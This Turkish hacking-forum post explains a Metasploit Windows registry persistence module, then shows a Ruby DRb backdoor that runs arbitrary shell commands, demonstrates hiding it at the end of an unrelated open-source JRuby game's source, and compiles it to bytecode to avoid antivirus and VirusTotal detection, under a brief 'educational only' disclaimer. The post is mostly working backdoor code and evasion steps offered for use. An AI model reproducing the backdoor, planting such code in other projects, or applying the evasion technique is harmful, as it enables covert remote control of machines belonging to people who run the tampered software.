    unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
      return Msf::Exploit::CheckCode::Safe
    end
    return Msf::Exploit::CheckCode::Vulnerable
  end

  def exploit
    unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
      print_warning('Warning: PowerShell does not seem to be available, persistence might fail')
    end

    print_status('Generating payload blob..')
    blob = generate_payload_blob
    print_good("Generated payload, #{blob.length} bytes")

    root_path = get_root_path
    print_status("Root path is #{root_path}")

    blob_reg_key, blob_reg_name = generate_blob_reg
    cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
    cmd_reg = generate_cmd_reg

    print_status('Installing payload blob..')
    new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)

    print_status('Installing run key')
    install_cmd(cmd, cmd_reg, root_path)

    if datastore['CREATE_RC']
      create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
    end
  end
end

Kodu incelediğimiz zaman bir Metasploit modülü olduğu kullandığı sınıflardan anlaşılıyor.

Ruby:
 def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows Registry Only Persistence',
      'Description'    => %q{
        This module will install a payload that is executed during boot.
        It will be executed either at user logon or system startup via the registry
        value in "CurrentVersion\Run" (depending on privilege and selected method).
        The payload will be installed completely in registry.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Donny Maasland <donny.maasland[at]fox-it.com>',
        ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter', 'shell' ],
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2015-07-01',
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => true
        }
    ))

Ruby programlama dilinde initialize() fonksiyonu sınıfların içinde yazılır ve sınıf çağrımı yapıldığı zaman bu fonksiyon otomatik olarak çalıştırılır. Bu yüzden modül/exploit/evasion/auxiliary ile alakalı bilgiler bu kısımda listeler ve hash verileri halinde saklanır. Kısacası bu kısım Modülün yazarı, lisansı ve platformu vb. bilgileri içer,r.

Kodda aşağı taraflara indiğimiz zaman,


Ruby:
  register_options([
      OptEnum.new('STARTUP',
        [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
      OptString.new('BLOB_REG_KEY',
        [false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
      OptString.new('BLOB_REG_NAME',
        [false, 'The name to use for storing the payload blob. (Default: random)' ]),
      OptString.new('RUN_NAME',
        [false, 'The name to use for the \'Run\' key. (Default: random)' ]),
      OptBool.new('CREATE_RC',
        [false, 'Create a resource file for cleanup', true]),
      OptInt.new('SLEEP_TIME',
        [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
    ])
  end

  def generate_payload_blob
    opts = {
      wrap_double_quotes: true,
      encode_final_payload: true,
    }
    blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1]
    return blob
  end

  def generate_cmd(root_path, blob_key_name, blob_key_reg)
    cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
    return cmd
  end

  def generate_blob_reg
    blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
    blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return blob_reg_key, blob_reg_name
  end

  def generate_cmd_reg
    cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return cmd_reg
  end

  def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
    blob_reg_key = "#{root_path}\\#{blob_reg_key}"
    new_key = false
    if not registry_enumkeys(blob_reg_key)
      unless registry_createkey(blob_reg_key)
        fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}")
      end
      print_good("Created registry key #{blob_reg_key}")
      new_key = true
    end

    unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
      fail_with(Failure::Unknown,'Failed to open the registry key for writing')
    end
    print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
    return new_key
  end

Bu kısımda çalıştırılacak olan komutları ve payloadları saklayan veri dizileri var. Detaylı olarak ayıklar isek

Ruby:
register_options([
      OptEnum.new('STARTUP',
        [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
      OptString.new('BLOB_REG_KEY',
        [false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
      OptString.new('BLOB_REG_NAME',
        [false, 'The name to use for storing the payload blob. (Default: random)' ]),
      OptString.new('RUN_NAME',
        [false, 'The name to use for the \'Run\' key. (Default: random)' ]),
      OptBool.new('CREATE_RC',
        [false, 'Create a resource file for cleanup', true]),
      OptInt.new('SLEEP_TIME',
        [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
    ])
  end

Bu kısımlar Metasploit içerisinde bu modülü kullanan kişinin kendisine göre ayarlayabileceği kayıt kısımlarını barındırıyor. Başlangı, uyku süresi, çalışma ismi gibi gibi verilere buradan erişiliyor.

Ruby:
def generate_cmd(root_path, blob_key_name, blob_key_reg)
    cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
    return cmd
  end

Bir önceki kısımda bahsettiğim kullanıcının opsiyonel olarak ayarlamak istediği veriler burada bir komut içerisinde kullanılıyor.

Ruby:
 def log_file(log_path = nil) # Thanks Meatballs for this
    # Get hostname
    host = session.session_host

    # Create Filename info to be appended to downloaded files
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

    # Create a directory for the logs
    if log_path
      logs = ::File.join(log_path, 'logs', 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    else
      logs = ::File.join(Msf::Config.log_directory, 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    end

Ruby:
 def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this
    clean_rc = log_file()
    @clean_up_rc = ""
    @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
    if new_key
      @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
    end
    @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
    file_local_write(clean_rc, @clean_up_rc)
    print_status("Clean up Meterpreter RC file: #{clean_rc}")

    report_note(:host => session.session_host,
      type: 'host.persistance.cleanup',
      data:  {
        local_id:     session.sid,
        stype:        session.type,
        desc:         session.info,
        platform:     session.platform,
        via_payload:  session.via_payload,
        via_exploit:  session.via_exploit,
        created_at:   Time.now.utc,
        commands:     @clean_up_rc
      }
    )
  end

Log dosyaları, işlem numarası, işlem tipi vb. verilerin temizlendiği fonksiyonu da burada görebiliyoruz.

Ruby:
def exploit
    unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
      print_warning('Warning: PowerShell does not seem to be available, persistence might fail')
    end

    print_status('Generating payload blob..')
    blob = generate_payload_blob
    print_good("Generated payload, #{blob.length} bytes")

    root_path = get_root_path
    print_status("Root path is #{root_path}")

    blob_reg_key, blob_reg_name = generate_blob_reg
    cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
    cmd_reg = generate_cmd_reg

    print_status('Installing payload blob..')
    new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)

    print_status('Installing run key')
    install_cmd(cmd, cmd_reg, root_path)

    if datastore['CREATE_RC']
      create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
    end
  end
end

Burada da sistemde PowerShell varlığı kontrol edilditken sonra asıl exploit burada çalışıyor, yani diğer anlattığım ve anlatmadığım kodda var olan fonksiyonlar burada çalışıyor ve enjeksiyon işleminde rol alıyor.


pDHFoUY.png


Ruby ile FUD Çalışmaları


Bashetmiş olduğum, Ruby kodunun derlenememesi olayı bize büyük bir dezavantaj sağlıyor elbette. Ama bunu yararımıza kullanabiliriz.

Ruby kodu JRuby yani Java-Ruby derleyicisi ile birlikte Java formatına çevrilebiliyor. Bunun sebeplerini sorarsanız: Ruby kendi VM ortamında yorumlanır, yani Java dilide bir sanal ortamda derlendiği için bu benzerlik bize olumluluk sağlar, bunun yanında JRuby yorumlayıcısının geliştiricileri bunun içinde özen göstermişlerdir.

Bu dezavantajı yararımıza kullanma konusuna devam eder isek, Ruby evet derlenemeyen bir dildir ama bunun yanıda da yüksek seviyeli bir programlama dilidir. Az kodla çok iş yapabilirsiniz. Eskiden yazmış olduğum bir Uzak Kod çalıştırma Servisi kodlamak adında yazım vardı. Bu yazıda iki adet kod paylaşımı yapmıştım.


server.rb içeriği:


Ruby:
require 'drb'

begin
  rshell = DRbObject.new_with_uri("druby://localhost:8080")
  loop do
    begin
      STDOUT.print("Command: ")
      command = gets

      STDOUT.puts("\nOutput: ")
      puts rshell.exec command
    rescue
 
    end
  end
rescue => exception
  STDOUT.puts(exception)
end

client.rb içeriği:

Ruby:
require 'drb'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service("druby://0.0.0.0:8080", RShell.new)
DRb.thread.join

Bakın sadece arka planda basit bir backdoor görevi gören bu kod sade haliyle derlenmemiş biçimde %100 oranında sonuç vermişti. Antivirüsler algılamasa bile Virustotal bu kodu derlenmeden yani kodları açık olarak yüklendiği için, kod açıklamaları kısmında bir virüs olduğunu ve backdoor görevi gördüğünü algılamıştı.

amabfd4.png


Bu sorundan kurtulmak için birçok çözüm yöntemimiz var. Yüksek seviyeli bir programlama dili olduğundan bahsetmiştim, bu sayede az kod ile çok iş yapabiliyoruz. Yani 5000+ satırdan dağınık dosyalar halinde oluşan bir projeye 15 satırlık bu kodu çok rahat enjekte edebiliriz.

Örnek olarak Github platformunda yapılan bir projeyi inceleyelim.


Programla alakalı görsel:


1sufqg7.gif


Gördüğünüz gibi örnek olarak koyduğumuz basit olan bu uygulamanın dosya ağacı şu şekilde:

qyoyvvz.png



Yazılımcı, kullandığı kütüphaneleri bir "lib" adlı klasörde saklamış, bu sayede kullanıcının kütüphane indirmek için gem install komutunu indirmesine gerek kalmamış.



Kütüphaneyi incelediğimiz zaman,



4hj1enc.png


Programda kullanılan sayfaların, modellerin, objelerin kaynak kodları burada duruyor.

Ruby:
include Java

import java.awt.event.WindowEvent
import java.awt.image.BufferStrategy
import javax.swing.JFrame
import java.awt.Canvas
import java.awt.Dimension
import javax.swing.JPanel
import java.awt.Color

require 'scorched_earth/events/mouse_pressed'
require 'scorched_earth/events/mouse_released'
require 'scorched_earth/events/mouse_moved'

module ScorchedEarth
  class GameWindow
    include java.awt.event.MouseMotionListener
    include java.awt.event.MouseListener

    attr_reader :buffer_strategy, :canvas, :game

    def initialize(width, height, game)
      @game      = game
      @container = JFrame.new
      @canvas    = Canvas.new
      @panel     = @container.get_content_pane

      @container.set_default_close_operation JFrame::EXIT_ON_CLOSE

      @panel.set_preferred_size Dimension.new width, height
      @panel.set_layout nil
      @container.set_cursor nil
      @panel.add @canvas

      @container.pack
      @container.set_resizable false
      @container.set_visible true

      @canvas.set_bounds 0, 0, width, height

      @canvas.add_mouse_listener self
      @canvas.add_mouse_motion_listener self

      @canvas.set_ignore_repaint true
      @canvas.create_buffer_strategy 2
      @buffer_strategy = @canvas.get_buffer_strategy
    end

    def run
      last_time = Time.now

      game.setup

      loop do
        delta     = Time.now - last_time
        last_time = Time.now
        graphics  = buffer_strategy.get_draw_graphics

        game.update delta
        game.render graphics

        graphics.dispose
        buffer_strategy.show

        sleep 1.0 / 60
      end
    end

    private

    def mouse_moved(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MouseMoved.new x, y
    end

    def mouse_dragged(*args); end

    def mouse_pressed(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MousePressed.new x, y
    end

    def mouse_released(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MouseReleased.new x, y
    end

    def mouse_clicked(*args); end

    def mouse_entered(*args); end

    def mouse_exited(*args); end
  end
end

Burada bahsettiğim java kütüphanelerini görüyoruz, proje JRuby ile yazılmış.

Buraya şifrelenmiş biçimde kendi virüsümüzü enjekte edebiliriz. Özellikle "Drb" kütüphanesini seçtim, bunun nedeni bu kütüphanenin Ruby dilinde kurulu olarak gelmesidir. Linux makinelerin çoğunda Ruby yüklü gelir ve içerisinde Bu kütüphane indirili olarak gelir bu sayede kullanıcıya zararlı amaçla kullanacağımız kütüphaneyi indirtmeyiz. Herhangi bir şüphelenme durumu da meydana gelmez.

Koda bağlı olarak istediğiniz yere enjekte edebilirsiniz.

Örnek olarak:


atqkzc5.png


En aşağı kısıma eklenmiş bir biçimde zararlı kodumuz yer alıyor.

cool-gif-2.gif


Ekstra olarak, ben thread() fonksiyonu kullandım bu sayede kodun işlemine hiçbir karışma olmadan bir arka tarafra bir işlem parçacığı olarak gözükeceğiz.

Daha büyük projelerde kod sayısı fazlalığından kod açıklamasından virüsün tespiti zorlaşacaktır. Bu kısa ve basit bir örnektir.

Buyurun ekleme yapılmış kod:

Ruby:
include Java

import java.awt.event.WindowEvent
import java.awt.image.BufferStrategy
import javax.swing.JFrame
import java.awt.Canvas
import java.awt.Dimension
import javax.swing.JPanel
import java.awt.Color

require 'scorched_earth/events/mouse_pressed'
require 'scorched_earth/events/mouse_released'
require 'scorched_earth/events/mouse_moved'

module ScorchedEarth
  class GameWindow
    include java.awt.event.MouseMotionListener
    include java.awt.event.MouseListener

    attr_reader :buffer_strategy, :canvas, :game

    def initialize(width, height, game)
      @game      = game
      @container = JFrame.new
      @canvas    = Canvas.new
      @panel     = @container.get_content_pane

      @container.set_default_close_operation JFrame::EXIT_ON_CLOSE

      @panel.set_preferred_size Dimension.new width, height
      @panel.set_layout nil
      @container.set_cursor nil
      @panel.add @canvas

      @container.pack
      @container.set_resizable false
      @container.set_visible true

      @canvas.set_bounds 0, 0, width, height

      @canvas.add_mouse_listener self
      @canvas.add_mouse_motion_listener self

      @canvas.set_ignore_repaint true
      @canvas.create_buffer_strategy 2
      @buffer_strategy = @canvas.get_buffer_strategy
    end

    def run
      last_time = Time.now

      game.setup

      loop do
        delta     = Time.now - last_time
        last_time = Time.now
        graphics  = buffer_strategy.get_draw_graphics

        game.update delta
        game.render graphics

        graphics.dispose
        buffer_strategy.show

        sleep 1.0 / 60
      end
    end

    private

    def mouse_moved(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MouseMoved.new x, y
    end

    def mouse_dragged(*args); end

    def mouse_pressed(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MousePressed.new x, y
    end

    def mouse_released(event)
      x = event.point.x
      y = event.point.y

      game.publish Events::MouseReleased.new x, y
    end

    def mouse_clicked(*args); end

    def mouse_entered(*args); end

    def mouse_exited(*args); end
  end
end

require 'drb'

class RShell

  def exec(cmd)

    `#{cmd}`

  end

end

DRb.start_service("druby://0.0.0.0:8080", RShell.new)
DRb.thread.join


Bir diğer yöntemimiz kodumuzu bytecode formatına çevirmek olacaktır.

Onu da bu konuda anlattım erişebilirsiniz.


client.rb adlı bir dosya oluşturuyorum ve bunun içinde virüsümü yazıyorum.

convert.rb adlı dosyayada dönüşüm işlemini yapacak kodu yazıyorum.

Ruby:
byte_code = RubyVM::InstructionSequence.compile_file 'client.rb'

File.binwrite 'bytecode', byte_code.to_binary

9dzuegr.png


bytecode formatında olan ruby kodunu çalıştırmayı bashettiğim konuda anlattığım için burada tekrar anlatmıyorum okuyunuz.

Bytecode çeviriminden sonra virüs totale bakalım:

ewbzoeo.png


Sonuca inanmayanlar hash değerini yazsın baksın.

pyrjedr.png


Eskiden bir Ruby kodu olarak algılanıyorduk şimdi Virustotal reisimiz bunu da algılayamıyor. Bytecode formatında olduğumuz için.

Bu arada kodu bytecodeye çevirmeden çalıştırınca içeride kullandığımız kütüphane ile alakalı olduğunu düşünüyorum.

ct1jkvm.png


YoksunTotal bize Java kodu dedi hatta Python falan filan bile yazıyor kod uzantısı .rb olmasına rağmen. Doktor fazla üzerine gitmeyin dediği için bir şey söylemiyorum AMA!



556003f461c9ff51c5ea1ee1e0017c20dd04390a.gifv




Reacher ve ben bunu bir hakaret olarak kabul ediyoruz!

Bytecode dosyasını içerisinde çalıştıran kodu da deneyebilirsiniz yine antivirüsler bulamaycaktır.


pDHFoUY.png


Okuyan herkese teşekkürler fakat belirtmek istediğim birkaç şey var. Öncelikle konuda tamamen scantime üzerinde durdum runtime için ileride antivirüslerden makine taraflı kaçma yollarını anlatacağım. Bu kısımda fazla detaya girmeyeceğim, anlattıklarımın hepsi iç ağ içerisinde geçerlidir. Dış ağ için ekstra port ayarları gibi konuları kötü amaçlı kullanıma karşılık anlatmıyorum. İleri ki konularda Ruby kodunun içeriğini şifrelemeyi anlatacağım. Junky kod olaylarının ne kadar işe yarayıp yaramadığına da yine ileri konualrda değineceğim.

Anlattıklarım giriş seviye konulardır, kendinize göre scriptleri geliştirebilirsiniz WinApi ile alakalı etkileşim konumu okuyabilirsiniz.

Tekrardan söylüyorum bunlar iç ağ içerisinde geçerlidir, dış ağda kullanmayınız! bu yazı sadece eğitim amaçlıdır. Herhangi bir şekilde sorumluluk kabul etmiyorum.

İyi forumlar!


Ellerinize sağlık hocam, güzel anlatım, görseller ile anlatma ve güzel konu için teşekkür ederiz. Tekrardan Elinize emeğinize sağlık hocam.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.